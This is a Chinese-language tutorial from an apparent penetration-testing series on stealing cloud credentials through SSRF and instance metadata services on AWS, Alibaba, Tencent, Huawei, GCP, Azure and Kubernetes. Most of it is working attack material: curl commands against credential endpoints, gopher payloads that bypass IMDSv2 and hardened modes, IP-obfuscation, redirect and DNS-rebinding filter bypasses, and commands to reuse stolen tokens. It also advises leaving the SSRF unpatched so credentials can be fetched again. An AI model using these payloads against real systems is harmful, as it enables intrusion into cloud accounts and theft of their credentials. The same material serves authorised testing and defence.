一、元数据服务是云上最值钱的一个地址
第一篇讲了怎么找云资产和泄露的凭证。这一篇讲另一条更常见的路径:不依赖任何外部泄露,仅凭目标服务器上的一个 SSRF,直接拿到云账号的临时凭证。
这条路径的入口是一个地址:169.254.169.254。
1.1 为什么是这个地址
云厂商为了让实例里的程序能免密调用云 API,在每个实例内部提供了一个 HTTP 服务,叫实例元数据服务(IMDS)。它的设计有几个特点,恰好构成了安全问题的全部前提:
- 地址固定且是链路本地地址。
169.254.0.0/16是 RFC 3927 定义的 link-local 段,不经过路由器转发,只能从实例内部访问。这个设计本意是好的,它保证了元数据服务不会暴露到公网。 - 默认不做鉴权。 IMDSv1 的设计目标就是"任何能发 HTTP 请求的程序都能读",因为实例本身已经被网络边界保护了。
- 返回的内容包括临时凭证。 如果实例绑定了 IAM 角色(阿里云叫 RAM 角色,腾讯云叫 CAM 角色),元数据服务会返回这个角色的临时 AccessKeyId、SecretAccessKey 和 SecurityToken。
问题就出在这三点的组合上。SSRF 漏洞的经典利用方式就是"让服务器去请求一个我们访问不到的地址",而元数据服务正是一个"只有服务器能访问、且不需要认证"的地址。一个看起来只能读内网页面的 SSRF,加上元数据服务,等于直接把云账号的凭证交出来。
关键认知:元数据服务的信任模型是"能从这个网络命名空间发出请求 = 有权访问"。它不区分请求是来自业务代码、还是来自攻击者通过 SSRF 控制的业务代码。
1.2 三类入口
| 入口 | 起点 | 典型场景 |
|---|---|---|
| 应用 SSRF | 一个 URL 参数 | 图片抓取、Webhook、PDF 渲染、SSO 元数据导入 |
| 命令执行 | 一个 shell | Web RCE、反序列化、模板注入 |
| 容器 / Pod | 容器内进程 | 容器逃逸前后、K8s Pod 内的业务进程 |
第二类最直接,拿到 shell 之后一条 curl 就结束了。第三类需要注意网络命名空间的问题:如果容器没有用 host 网络,它和宿主机不在同一个网络命名空间,通常访问不到 169.254.169.254。这是很多人以为"进了容器就能拿元数据"却失败的原因。
1.3 探测基线
拿到一个可疑的 SSRF 或者 shell 之后,先用这几条命令做横切判断:
# AWS
curl -s -m 3 http://169.254.169.254/latest/meta-data/
# 阿里云
curl -s -m 3 http://100.100.100.200/latest/meta-data/
# 腾讯云
curl -s -m 3 http://metadata.tencentyun.com/latest/meta-data/
# 华为云
curl -s -m 3 http://169.254.169.254/openstack/latest/meta_data.json
# GCP,注意必须带头
curl -s -m 3 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
# Azure,注意必须带头
curl -s -m 3 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
-m 3 是必须加的超时。元数据服务不可达时,请求会一直挂着,不加超时会把 SSRF 利用链卡死。
返回内容的特征可以作为指纹:AWS 的 ami-id、instance-id,阿里云的 i-bp 或 iZ 开头实例 ID,腾讯云的 ins-,华为云的 nova。
有一个细节值得注意:华为云和 GCP、Azure 都用 169.254.169.254,所以先不带请求头打一次,看返回什么,再决定是加 Metadata: true 还是 Metadata-Flavor: Google。
二、AWS IMDS
2.1 IMDSv1:直接 GET
IMDSv1 是原始版本,没有任何鉴权:
# 列出可用的元数据项
curl -s http://169.254.169.254/latest/meta-data/
# 列出可用的 IAM 角色(如果实例绑定了角色)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 取角色的临时凭证
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRoleName
第二条命令返回的是角色名,第三条才是凭证。返回的 JSON:
{
"Code": "Success",
"LastUpdated": "2026-09-28T02:15:30Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjEBEaCXVzLWVhc3QtMSJHMEUCIQ...",
"Expiration": "2026-09-28T08:15:30Z"
}
AccessKeyId 以 ASIA 开头,表示这是临时凭证,必须配合 Token 使用。Expiration 决定了你有多长时间窗口,默认 6 小时。
转成环境变量验证:
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEBEa..."
export AWS_DEFAULT_REGION="us-east-1"
aws sts get-caller-identity
返回的 ARN 形如 arn:aws:sts::123456789012:assumed-role/MyRoleName/i-0abc123,assumed-role 说明这是角色凭证,i-0abc123 是实例 ID。这个 ARN 是第三篇枚举权限的起点。
2.2 IMDSv2:先取 token
IMDSv2 为了解决 SSRF 问题引入,流程变成两步:
# 第一步:PUT 取 session token
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# 第二步:带 token 访问所有接口
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRoleName
几个实现细节:
- TTL 的取值范围是 1 到 21600 秒(6 小时)。超过上限返回 400。
PUT /latest/api/token如果带了X-Forwarded-For头会被直接拒绝。这是 AWS 专门加的防护,因为很多 SSRF 会注入这个头。- 用 GET 请求
/latest/api/token返回 405。这个 405 本身是个有用的指纹,可以判断对方是 AWS 且支持 IMDSv2。 - 实例 IPv6 的元数据地址是
http://[fd00:ec2::254]/,行为一致。
IMDSv2 为什么能防 SSRF:因为一个典型的 SSRF 只能控制 URL,不能控制 HTTP 方法,也不能加自定义请求头。PUT 方法加上自定义头,两个条件都超出了普通 SSRF 的能力范围。
2.3 IMDSv2 挡不住什么
这个结论很重要,但经常被误读成"开了 IMDSv2 就安全了"。实际上:
第一,命令执行类漏洞完全不受影响。 拿到 shell 之后,curl -X PUT 后面加什么头都行,IMDSv2 形同虚设。所以 IMDSv2 只对纯 SSRF 有防护价值。
第二,支持自定义方法或请求头的 SSRF 可以绕过。 如果 SSRF 允许指定请求方法,或者存在 CRLF 注入,就能伪造出完整的 IMDSv2 流程。
第三,Gopher 协议直接破。 Gopher 可以构造任意 TCP 载荷,包括任意方法和任意头。这就是为什么 SSRF 里 gopher 支持与否是质变:
gopher://169.254.169.254:80/_PUT%20/latest/api/token%20HTTP/1.1%0d%0aHost:%20169.254.169.254%0d%0aX-aws-ec2-metadata-token-ttl-seconds:%2021600%0d%0a%0d%0a
第四,混合配置仍然可读。 如果实例配的是 HttpTokens=optional 而不是 required,IMDSv1 依然可用。判断方法:不带任何头直接请求,能返回数据就是 optional。所以实战里第一件事就是不带头发一次请求。
2.4 ECS 和 Fargate
ECS 任务不用 IMDS,用的是另一个地址 169.254.170.2,路径由环境变量指定:
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 的值形如 /v2/credentials/12345678-1234-1234-1234-123456789012。返回结构和 EC2 一样。
还有一个 FULL_URI 变体,用于自建代理场景,需要带 Authorization 头:
curl -s -H "Authorization: $(cat $AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE)" \
"$AWS_CONTAINER_CREDENTIALS_FULL_URI"
这两个环境变量本身就是很好的信息泄露点。拿到 shell 之后 env | grep AWS_ 应该成为条件反射。
2.5 EKS 的 IRSA 和 Pod Identity
EKS 上有两套给 Pod 授权获取 AWS 凭证的机制,凭证入口不一样。
IRSA(IAM Roles for Service Accounts) 用 OIDC 联邦。Pod 里会有这两个环境变量:
echo $AWS_ROLE_ARN
echo $AWS_WEB_IDENTITY_TOKEN_FILE
token 文件默认在 /var/run/secrets/eks.amazonaws.com/serviceaccount/token。用它去换临时凭证:
aws sts assume-role-with-web-identity \
--role-arn "$AWS_ROLE_ARN" \
--role-session-name pentest \
--web-identity-token "file://$AWS_WEB_IDENTITY_TOKEN_FILE"
返回的凭证可以直接给 AWS CLI 用。注意 IRSA 的 token 默认有效期 1 小时(可配置到 12 小时),比 EC2 的 6 小时短,时间窗口要算好。
Pod Identity 用一层 agent 代理,环境变量长得像 ECS 的:
echo $AWS_CONTAINER_CREDENTIALS_FULL_URI
# 形如 http://169.254.170.23/v1/credentials
echo $AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE
# 形如 /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
curl -s -H "Authorization: $(cat $AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE)" \
"$AWS_CONTAINER_CREDENTIALS_FULL_URI"
在 EKS 上做横向时,env | grep -E 'AWS_|TOKEN' 这一条命令的价值极高,因为它能直接告诉你当前 Pod 有没有 AWS 凭证、走的是哪套机制。
三、国内三家云
3.1 阿里云
阿里云的元数据地址是 100.100.100.200,是个特殊的内部地址而不是 link-local。ECS 和 ECI(弹性容器实例)都用它。
# 列出元数据项
curl -s http://100.100.100.200/latest/meta-data/
# 列出 RAM 角色
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 取凭证
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/MyRoleName
返回格式:
{
"AccessKeyId": "STS.LTAI5tXXXXXXXXXXXXXX",
"AccessKeySecret": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"SecurityToken": "CAISxxxxxxxxxxxxxxxxxxxxxxxx",
"Expiration": "2026-09-28T09:44:50Z",
"LastUpdated": "2026-09-28T03:44:50Z",
"Code": "Success"
}
AccessKeyId 以 STS. 开头,这是阿里云临时凭证的标志。
阿里云也有对标 IMDSv2 的加固模式(security hardening mode):
# 取 token
TOKEN=$(curl -s -X PUT "http://100.100.100.200/latest/api/token" \
-H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600")
# 带 token 访问
curl -s -H "X-aliyun-ecs-metadata-token: $TOKEN" \
http://100.100.100.200/latest/meta-data/ram/security-credentials/
错误码可以用来判断当前模式,这几个很有用:
| 现象 | 含义 |
|---|---|
| PUT 时 TTL 超过 21600 → 400 | 请求格式对,但 TTL 超限 |
PUT 时带 X-Forwarded-For → 403 | 加固模式,且检测到可疑头 |
| 带错误 token 请求 → 401 | 加固模式已开启 |
| 不带 token 请求元数据 → 403 | 加固模式强制要求 token |
| 不带 token 请求正常返回 | 普通模式,可以直接读 |
默认情况下多数阿里云 ECS 是普通模式,也就是不带 token 就能直接读凭证。这是 SSRF 打阿里云时的主要收益点。加固模式需要用户主动开启,而且开启后如果 SSRF 无法发 PUT,这条路就断了。
一个配置细节:阿里云允许"普通 + 加固"混合模式,混合模式下仍然可以无 token 读取,只是会记录审计日志。所以看到 403 才说明真的开严了。
ECS 和 ECI 都是 100.100.100.200,路径一致,但 ECI 的 instance-id 是 ECI 实例 ID,返回的凭证由容器组的 RAM 角色决定。ECI 是否默认强制 token 依赖平台版本,标为待验证。
函数计算 FC 不同,它不走元数据服务,凭证通过函数的 context.credentials 提供。所以拿到 FC 的函数代码之后,要去代码里找 context.credentials 的用法。
ACK(阿里云容器服务)有对标 IRSA 的 RRSA 机制,环境变量名待验证:
# RRSA 相关的环境变量(变量名待验证)
env | grep -i ALIBABA_CLOUD
# ALIBABA_CLOUD_ROLE_ARN
# ALIBABA_CLOUD_OIDC_TOKEN_FILE
# ALIBABA_CLOUD_OIDC_PROVIDER_ARN
3.2 腾讯云
腾讯云有两个等价的入口,域名 metadata.tencentyun.com 解析到 169.254.0.23:
# 两种写法等价
curl -s http://metadata.tencentyun.com/latest/meta-data/
curl -s http://169.254.0.23/latest/meta-data/
# 列出 CAM 角色
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# 取凭证
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/MyRoleName
返回的字段名是 TmpSecretId、TmpSecretKey、Token、ExpiredTime,具体字段名随版本可能有微调,标为待验证。凭证有效期约 12 小时。
腾讯云的元数据 URL 是大小写敏感的,路径写错返回 404。这一点和 AWS 不同,调试时容易被卡住。
除了凭证,元数据里还有一批高价值信息:
# 安全组规则,能看出内网开放了哪些端口
curl -s http://metadata.tencentyun.com/latest/meta-data/instance/security-group
# 实例所在的地域、VPC、子网
curl -s http://metadata.tencentyun.com/latest/meta-data/placement/region
腾讯云是否强制元数据 token(对标 IMDSv2 的 PUT /latest/api/token)默认是关闭的,具体头名和开关待验证。所以在实战里先按无 token 直读试。
3.3 华为云
华为云用标准 link-local 地址 169.254.169.254,同时支持 OpenStack 风格和 EC2 兼容风格两套路径:
# OpenStack 风格,信息最全
curl -s http://169.254.169.254/openstack/latest/meta_data.json
curl -s http://169.254.169.254/openstack/latest/network_data.json
curl -s http://169.254.169.254/openstack/latest/user_data
# EC2 兼容风格
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/hostname
curl -s http://169.254.169.254/latest/meta-data/local-ipv4
# 临时 AK/SK,需要该 ECS 已配置委托
curl -s http://169.254.169.254/openstack/latest/securitykey
securitykey 返回的结构(字段名待验证):
{
"credential": {
"access": "...",
"secret": "...",
"securitytoken": "...",
"expires_at": "..."
}
}
有两个华为云特有的细节:
- 临时 AK/SK 有效期 24 小时,比 AWS 的 6 小时长。
- 调用 API 时必须额外加头
X-Security-Token: <securitytoken>。华为云不把这个 token 当作 AccessKeyId 的一部分,而是单独的请求头。用 CLI 时要显式配置,忘了加会一直返回鉴权失败。
meta_data.json 里包含 uuid、availability_zone、region_id、project_id、VPC 信息,这些是横向移动时定位目标的关键。
华为云的另一个坑:安全组出方向需要放通 TCP 80 到 169.254.0.0/16,否则元数据请求会被安全组拦掉。看到超时要先想到这个可能。
3.4 国内三家对照表
| 项目 | 阿里云 | 腾讯云 | 华为云 |
|---|---|---|---|
| 地址 | 100.100.100.200 | metadata.tencentyun.com / 169.254.0.23 | 169.254.169.254 |
| 角色类型 | RAM 角色 | CAM 角色 | 委托 |
| 凭证路径 | /latest/meta-data/ram/security-credentials/<role> | /latest/meta-data/cam/security-credentials/<role> | /openstack/latest/securitykey |
| 临时凭证 ID 前缀 | STS.LTAI | AKID | 无固定前缀 |
| 是否需额外头 | 否(普通模式) | 否 | 是,X-Security-Token |
| 默认有效期 | 未明确 | 约 12 小时 | 24 小时 |
| 加固模式 | 有,/latest/api/token | 有,默认关闭 | 无明确对标 |
四、GCP 与 Azure
4.1 GCP
GCP 的元数据服务强制要求 Metadata-Flavor: Google 头,缺失返回 403:
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/
# 列出所有 service account
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/?recursive=true"
# 取默认 SA 的 access token
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
返回:
{"access_token":"ya29.c...","expires_in":3599,"token_type":"Bearer"}
GCP 的 token 有效期只有 1 小时,是几家里最短的。
用 IP 直连时建议保持 Host 头为 metadata.google.internal,因为有些实现会校验 Host。
除了 token,GCP 元数据里还有两个高价值项:
# 实例属性,经常藏着 SSH key 和 startup-script
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
# 项目级属性
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true"
# 检查 token 的权限范围
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
最后一条很重要。GCP 的实例 token 受 access scope 限制,如果 scope 是 cloud-platform.read-only,拿到的 token 只能读,提权时需要用别的手段(比如找 Service Account key 文件)来突破。
GCP 官方文档在本次调研中多次访问失败,这一节的具体细节建议在实操前对照官方文档复核。
4.2 Azure
Azure 的元数据服务强制要求 Metadata: true 头(小写的 true),缺失返回 400 和错误码 bad_request_102:
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F"
返回:
{
"access_token": "eyJ0eXAiOiJKV1Qi...",
"expires_in": "3599",
"expires_on": "...",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
resource 参数决定这个 token 能访问什么。常用的几个:
| resource | 用途 |
|---|---|
https://management.azure.com/ | 管理 Azure 资源 |
https://vault.azure.net | 读 Key Vault 里的密钥 |
https://storage.azure.com/ | 访问存储账户 |
https://graph.microsoft.com/ | 访问 Entra ID |
如果实例有多个托管标识,需要额外传 client_id 或 object_id 来指定用哪一个。这在拿到一个没有权限的 token 时是个排查方向:换一个 client_id 再试。
api-version 至少要用 2018-02-01,低于这个版本可能不支持。
Azure 的实例信息接口也值得打一次:
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
这里面有订阅 ID、资源组、VNet、子网、网络接口,是做横向时画网络拓扑的基础。
注意 404、410、429 这几个返回码在 Azure 上不一定是权限问题,可能是 IMDS 侧正在更新或限流,重试一次往往就好了。
五、Kubernetes 里的凭证
K8s 本身不提供云元数据,但集群里的 Pod 有两类凭证值得关注。
第一类是 ServiceAccount token,路径固定在:
ls /var/run/secrets/kubernetes.io/serviceaccount/
# ca.crt namespace token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
"https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods"
这个 token 能做什么,取决于绑给这个 SA 的 RBAC 权限。完整的判断和提权在第五篇讲。
第二类是云侧凭证,就是前面讲的 IRSA、Pod Identity、RRSA。链条是:
Pod 内的 SA token / OIDC token
→ 调用云厂商的 AssumeRoleWithWebIdentity
→ 拿到云角色的临时凭证
→ 操作云资源
这条链条意味着:即使 Pod 本身在 K8s 里权限很低,只要它绑了云角色,就能跳到云账号里。反过来也一样,从云账号可以跳到集群。这是第五篇第五节的重点。
第三类是历史遗留的 SA token Secret。K8s 1.24 之前,每个 SA 都会自动创建一个长期 token Secret,名字形如 <sa-name>-token-<5位随机>。如果集群里有残留,读到它就能长期使用该 SA 的身份:
kubectl get secret -A | grep -i 'token'
kubectl get secret <name> -n <ns> -o jsonpath='{.data.token}' | base64 -d
六、SSRF 侧的限制与绕过
前面讲的是"到了元数据服务之后怎么读"。实际操作里 80% 的时间花在"怎么让 SSRF 打到 169.254.169.254 并且回去的内容能被我看到"。
6.1 IP 变形
SSRF 的防护经常用黑名单过滤 169.254.169.254 这个字符串,但对 IP 的其他表示形式识别不全。全部等价的写法:
http://2852039166/ 十进制
http://0251.0376.0251.0376/ 八进制
http://0xA9FEA9FE/ 十六进制
http://0xa9.0xfe.0xa9.0xfe/ 分段十六进制
http://[::ffff:169.254.169.254]/ IPv6 映射
http://[0:0:0:0:0:ffff:a9fe:a9fe]/ IPv6 完整写法
http://169.254.169.254./ 末尾加点
对应的十六进制算法:169.254.169.254 转成十进制是 2852039166,转成十六进制是 0xA9FEA9FE。写脚本时可以自动生成:
import ipaddress
ip = "169.254.169.254"
n = int(ipaddress.ip_address(ip))
print(f"decimal: {n}")
print(f"hex: {hex(n)}")
print(f"octal: " + ".".join(f"0{o:o}" for o in ip.split(".")))
6.2 跳转与 DNS
@ 混淆利用的是 URL 解析规则:@ 前面是用户信息,后面才是真正的主机名。
http://expected.com@169.254.169.254/
http://169.254.169.254#@expected.com/
http://169.254.169.254:80@127.0.0.1/
白名单如果只做"字符串包含 expected.com"检查,就会被绕过。有些解析器把 # 后面当作 fragment 忽略,有些把它当作路径的一部分,这个差异就是利用点。
短域名和 xip.io 类服务:如果防护把 link-local IP 段整个拉黑,可以用一个解析到该 IP 的域名:
http://169.254.169.254.nip.io/
http://169.254.169.254.xip.io/
白名单按域名做检查时,nip.io 这类服务能绕过。
302 跳转:让目标先请求一个自己控制的 HTTP 服务,返回 Location: http://169.254.169.254/...。如果 SSRF 实现会跟随跳转,并且跳转后不重新校验目标,就能绕过。
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
DNS rebinding:自己搭一个权威 DNS,第一次解析返回一个合法的公网 IP 通过校验,第二次返回 169.254.169.254。利用的是"校验时解析一次、请求时再解析一次"的时间差。测试用的公共 rebinding 服务:
http://7f000001.a9fea9fe.rbndr.us/ # 在 127.0.0.1 和 169.254.169.254 之间切换
6.3 协议与头注入
Gopher 是最强的一个。它能构造任意 TCP 载荷,前面已经演示了怎么用它走完 IMDSv2 的 PUT 流程。同样也能破阿里云的加固模式:
gopher://100.100.100.200:80/_PUT%20/latest/api/token%20HTTP/1.1%0d%0aHost:%20100.100.100.200%0d%0aX-aliyun-ecs-metadata-token-ttl-seconds:%2021600%0d%0a%0d%0a
CRLF 头注入:如果 URL 参数会被拼进请求头,可以注入额外的头:
%0d%0aX-aws-ec2-metadata-token: <token>
有意思的是,往 IMDSv2 的请求里注入 X-Forwarded-For 会导致 403,这个行为可以反过来用来探测目标是否开启了加固模式。
file:// 协议在某些 SSRF 实现里可用,能直接读本地文件。K8s 环境里一个典型目标:
file:///var/run/secrets/kubernetes.io/serviceaccount/token
编码绕过:双重 URL 编码(%2561)、大小写混用、路径中插入多余斜杠。有效性和后端的解码次数有关,解码次数不一致就存在机会。
6.4 黑盒下怎么确认能打元数据
不是每个 SSRF 都能直接看到响应,很多是无回显的。判断方法:
时间差。169.254.169.254:80 在本机是开放的,响应很快;换成一个不存在但同网段的地址(比如 169.254.169.253),会明显超时。对同一个 SSRF 点分别测这两个地址,响应时间有差异就说明能发出请求。
错误码差异。前面列的各家错误码本身就是指纹:
| 现象 | 指向 |
|---|---|
/latest/api/token GET 返回 405 | AWS |
缺 Metadata-Flavor 返回 403 | GCP |
缺 Metadata: true 返回 400 + bad_request_102 | Azure |
| 不带 token 返回 403 | 阿里云加固模式 |
带 X-Forwarded-For 的 PUT 返回 403 | AWS 或阿里云加固模式 |
外带确认。让目标请求自己的 collaborator 地址,确认它能出网、能跟随跳转。虽然元数据的内容不会外带,但这一步能确认 SSRF 的基本能力。
有回显但内容是二进制或图片。用 SSRF 直接请求元数据,拿到的 JSON 会被当成图片解析失败。这时候看响应长度和错误信息,往往能推断出内容。更彻底一点,如果 SSRF 点有"把远程资源保存到本地"的功能,可以用它把元数据响应写进文件,再通过另一个接口读出来。
七、从凭证到下一步
拿到临时凭证后,立刻做三件事。
第一,验证有效性并确认身份。
# AWS
aws sts get-caller-identity
# 阿里云
aliyun configure --mode StsToken \
--access-key-id "STS.LTAI5tXXXXXXXXXXXXXX" \
--access-key-secret "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" \
--sts-token "CAISxxxxxxxxxxxxxxxxxxxxxxxx"
aliyun sts GetCallerIdentity
# 腾讯云
export TENCENTCLOUD_SECRET_ID="AKIDxxxxxxxx"
export TENCENTCLOUD_SECRET_KEY="xxxxxxxx"
export TENCENTCLOUD_TOKEN="xxxxxxxx"
tccli sts GetCallerIdentity
第二,算清楚有效期。 从拿到凭证到执行完提权,中间可能要做好几步枚举,每一步都在消耗时间。IRSA 只有 1 小时,GCP 也是 1 小时,最容易超时。做法是先做枚举和路径规划,把真正需要写操作的动作压缩到最后一步执行。
第三,判断这个角色值不值得深挖。 元数据返回的角色可能是节点角色(权限很大)也可能是某个应用的专用角色(只够读一个桶)。回到第二篇开头的那句话:拿到凭证不难,难的是快速判断它能干什么。
凭证轮换的问题要单独提一下。IMDS 返回的凭证是会自动轮换的,但如果原来的获取路径(比如那个 SSRF)还在,可以随时重新取一次。所以利用链做完之后,不要把 SSRF 的入口堵死,否则凭证过期就得重新找路。当然,从攻击者视角是这样,从防守方视角,修掉 SSRF 才是根治,因为元数据凭证本身只是被利用的结果。
下一篇讲第三篇:云凭证利用与 IAM 提权。核心问题是:拿到一组 AK/SK 之后,怎么系统枚举它的权限,怎么判断哪些权限组合等价于管理员,以及 AWS 和阿里云各自有哪些具体的提权路径和对应命令。